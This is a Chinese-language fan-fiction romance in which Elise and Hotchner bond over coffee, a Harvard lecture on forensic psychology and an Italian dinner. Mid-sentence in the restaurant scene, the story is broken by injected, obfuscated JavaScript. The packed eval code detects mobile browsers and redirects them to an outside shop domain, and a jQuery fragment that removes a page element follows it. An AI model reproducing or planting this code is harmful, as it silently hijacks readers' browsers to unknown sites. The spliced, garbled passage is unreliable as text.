周六下午，伊莉丝推开了咖啡店的门。
她提前了十五分钟到。但她推开门的时候，看见霍奇纳已经坐在角落的卡座里了。他面前放着一杯黑咖啡，手里拿着一本书。不是《犯罪心理学》，而是一本关于审讯技巧的学术论文集。
他抬起头，看见她，于是站了起来。
“你来早了。”伊莉丝说。
“你也是。”霍奇纳说。
他们同时笑了。
伊莉丝在他对面坐下。咖啡店里很安静，只有爵士乐在背景里轻轻播放。窗外又开始下雪了，雪花飘在玻璃上，又被室温慢慢融化。
“你喝什么？”霍奇纳问。
“黑咖啡。”
霍奇纳微笑，“我也是。”
“当然你是，”伊莉丝说，“我猜你还喜欢不加糖，不加奶，不加任何调味品。纯粹的，苦涩的黑咖啡。”
“你怎么猜到的？”
“因为你看起来就像那种人。”伊莉丝说，“不浪费时间在多余的东西上。”
霍奇纳看着她，“那你呢，你为什么喜欢喝黑咖啡？”
伊莉丝想了想，“因为我不喜欢被欺骗。糖和奶都会掩盖咖啡本身的味道。我想知道我喝的是什么。”
霍奇纳注视着她。他在认真地，仔细地看她，带着更私密的有温度的关注。
“你总是这么直接的吗？”他问。
“你希望我委婉一些吗？”
“不，”霍奇纳说，“直接很好。”
伊莉丝笑了，她发现自己在这个人面前笑得比平时多得多。
他们聊了三个多小时。
三个小时里，他们从犯罪心理学聊到审讯技巧的发展历史，从连环杀手的行为模式聊到童年创伤对人格的影响，从约翰·道格拉斯的理论聊到罗伯特·雷斯勒的实践。伊莉丝发现自己可以毫无障碍地和这个人交谈，他不像其他人那样被她说话的语速和内容的深度吓到，相反，他总能跟上她的思路，甚至在某些时刻提出她没有想到的角度。
“你考虑过读法学院吗？”霍奇纳问，“以你的能力，你可以去任何一所顶尖的法学院。”
“我不想在法庭上辩论，”伊莉丝说，“我只是想知道为什么，然后在犯罪发生之前制止它。”
“那你要正式成为一个侧写师吗？”
伊莉丝犹豫了一下，“成为fbi的正式侧写师，我需要美国公民的身份，但我还不确定。”
霍奇纳注视她的目光没有闪烁，他只是轻巧地换了个话题，“我见过很多人，你是我见过的最聪明的人之一。”
“之一？另一个是谁？”
霍奇纳的嘴角翘起，“我还在找。”
伊莉丝笑着摇了摇头，“你的恭维技巧还需要提高。”
“我没有在恭维，”霍奇纳露出恳切的神色，“我在陈述事实。”
伊莉丝看向他的眼睛。那双深棕色的眼睛里只有一种平静的，坚定的真诚。
她的脸颊开始发烫。
“你周末都做什么？”伊莉丝转移了话题。
“训练，读书，偶尔去靶场。”
“听起来很充实。”
“很无聊，”霍奇纳说，“你呢？”
“看卷宗，读书。偶尔去健身房。”
“听起来也很充实。”
“也很无聊。”伊莉丝说。
他们对视了一眼，笑意在彼此眼眸间流转。
“也许我们可以一起做一些不那么无聊的事情。”霍奇纳说，他的声音很平静，但伊莉丝注意到他的耳朵尖又红了。
“比如什么？”
“比如……下周有一场关于法医心理学的讲座。在哈佛。我本来打算一个人去。”
伊莉丝的心跳加速了，“我也看到了那个讲座的通知，我也打算去。”
“那一起？”
“好。”
那天晚上，伊莉丝回到公寓，坐在床上，抱着枕头，对着墙壁傻笑了十分钟。
她告诉自己，这只是一段友谊。两个对犯罪心理学有共同兴趣的人之间的友谊。没什么特别的。
但她的心里有一个小小的声音在说：你知道这不是友谊。
她选择忽略那个声音。
—--------------------------------------
法医心理学的讲座在哈佛大学的纪念教堂里举行。伊莉丝到达的时候，霍奇纳已经站在门口了。他穿着一件深灰色的羊毛大衣，围着一条黑色的围巾，头发被风吹得微微凌乱。
他看见她，严肃的表情瞬间温和了起来。他朝她走来。
“你来了。”他说。声音中有一种平静的满足感，像一个人确认了自己期待的事情的确会发生。
“我答应了的。”伊莉丝说。
讲座很好。演讲者是一位退休的fbi侧写师，讲的是如何通过尸体的细节推断凶手的心理状态。伊莉丝坐在霍奇纳的旁边，时不时地在笔记本上记录要点。霍奇纳也在记录，但他的记录要比伊莉丝的整齐很多。他的字迹工整，条理清晰，使得这份记录看起来像一份正式的报告。
“你的字很漂亮。”伊莉丝在讲座结束后说。
“我父亲说字迹反映一个人的性格。”霍奇纳说。“他要求我必须写得工整。”
伊莉丝听出了他语气中的某种东西，一种复杂的情绪。她想起了他在那个雪夜里说过的和她一致的目标。她没有再追问。
“我们去吃饭吧，”伊莉丝说，“我知道附近有一家不错的小餐馆。”
那家餐馆在哈佛广场的一条小巷里。
这是一家意大利家庭餐馆，灯光昏暗，墙上挂着半褪色的风景画，桌上铺着红白格子的桌布。老板，一个胖胖的意大利女人，热情地迎接着食客。
“当兵的？”老板打量着霍奇纳挺直开阔的身姿，说，“来，坐这里。今天有现做的特制千层面，你如果点的话，就给你多放一层奶酪。”
霍奇纳的表情没有太大变化，但他的肩膀放松了一些。在军队之外的地方被认出身份，似乎让他有某种归属感。
“你经常被认出来吗？”伊莉丝问。
“偶尔，”霍奇纳说，“在匡提科附近比较常见。”
“你喜欢吗？”
霍奇纳想了想，说，“不讨厌。有时候这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449483|201130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是一种盔甲。有它在，我知道自己是谁，直到自己应该做什么。如果没有它……有时候会觉得有点迷失。”
这是伊莉丝第一次从他口中听到这种程度的自我暴露。
“你在寻找脱下军装之后的自己。”伊莉丝说。
霍奇纳看向她，他的目光里有被理解的惊喜。
“是的，”他说，“我想加入fbi，也许是成为侧写师。但我不确定我能不能做到。”
“为什么不能？”
“因为侧写师需要理解人，”霍奇纳说，“而我……我花了太多时间学习如何不被人理解。”
伊莉丝放下叉子，认真地看着他，“你不被人理解，是因为你不让别人理解你，不是因为你做不到。”
霍奇纳沉默了一会儿，“你总是在分析别人吗？”
“这是我的专业，”伊莉丝说，“但对你，不只是因为专业。”
霍奇纳的耳朵红了，他低下头，专注地切着盘子里的千层面。他切出来的每一块大小几乎一模一样。
“你吃东西的方式也很军事化。”伊莉丝说。
“习惯了。”
“你应该学会放松。”
“你也是，”霍奇纳看她，“你总是紧绷着，像一根拉满的弦。”
伊莉丝的手指在杯子上收紧了，“为什么这么说？”
“因为你在讲座的时候，一直在攥着笔，你的指节都发白了。”
伊莉丝看了看自己的手，她的右手食指上确实到现在还有一道压痕，但她当时根本没有意识到自己在那么用力的攥笔。
“好吧，”伊莉丝说，“我们都需要学会放松。”
“我们可以一起学。”
伊莉丝注视着他。在昏暗的灯光下，他的脸显得格外柔和，深棕色的眼睛里倒映着桌上装饰性的小小烛光。
“好，一起学。”
那天晚上，霍奇纳送伊莉丝回公寓。他们走在查尔斯河畔，河面上结了一层薄冰，月光洒在冰面上，反射出银色的光芒。
“今天很开心。”伊莉丝说。
“我也是”
他们站在公寓楼下，沉默了一会儿。空气中有一种微妙的张力，像一根微微颤动的弦，在等待被谁继续拨动。
“那我上去了。”伊莉丝说。
“好。”
伊莉丝转身走向门口，走了三步，她停下来，回过头。
霍奇纳还站在那里，看着她。月光落在他的身上，他的眼睛好像在黑暗中发光。
“艾伦。”伊莉丝说。
“嗯？”
“下次是什么时候？”
霍奇纳的眼睛和嘴角同时弯起，“你想什么时候？”
“这个周六？”
“好。”
伊莉丝也笑，“那周六见。”
“周六见。”
她转身上楼。走到二楼的时候，她从窗户往外看了一眼。霍奇纳还站在那里，抬头看着楼。当她出现在窗口时，他举起手，朝她挥了挥。
伊莉丝也挥了挥手，然后离开了窗户。
她靠在墙上，双手捂住红红的脸。
她知道自己心动了。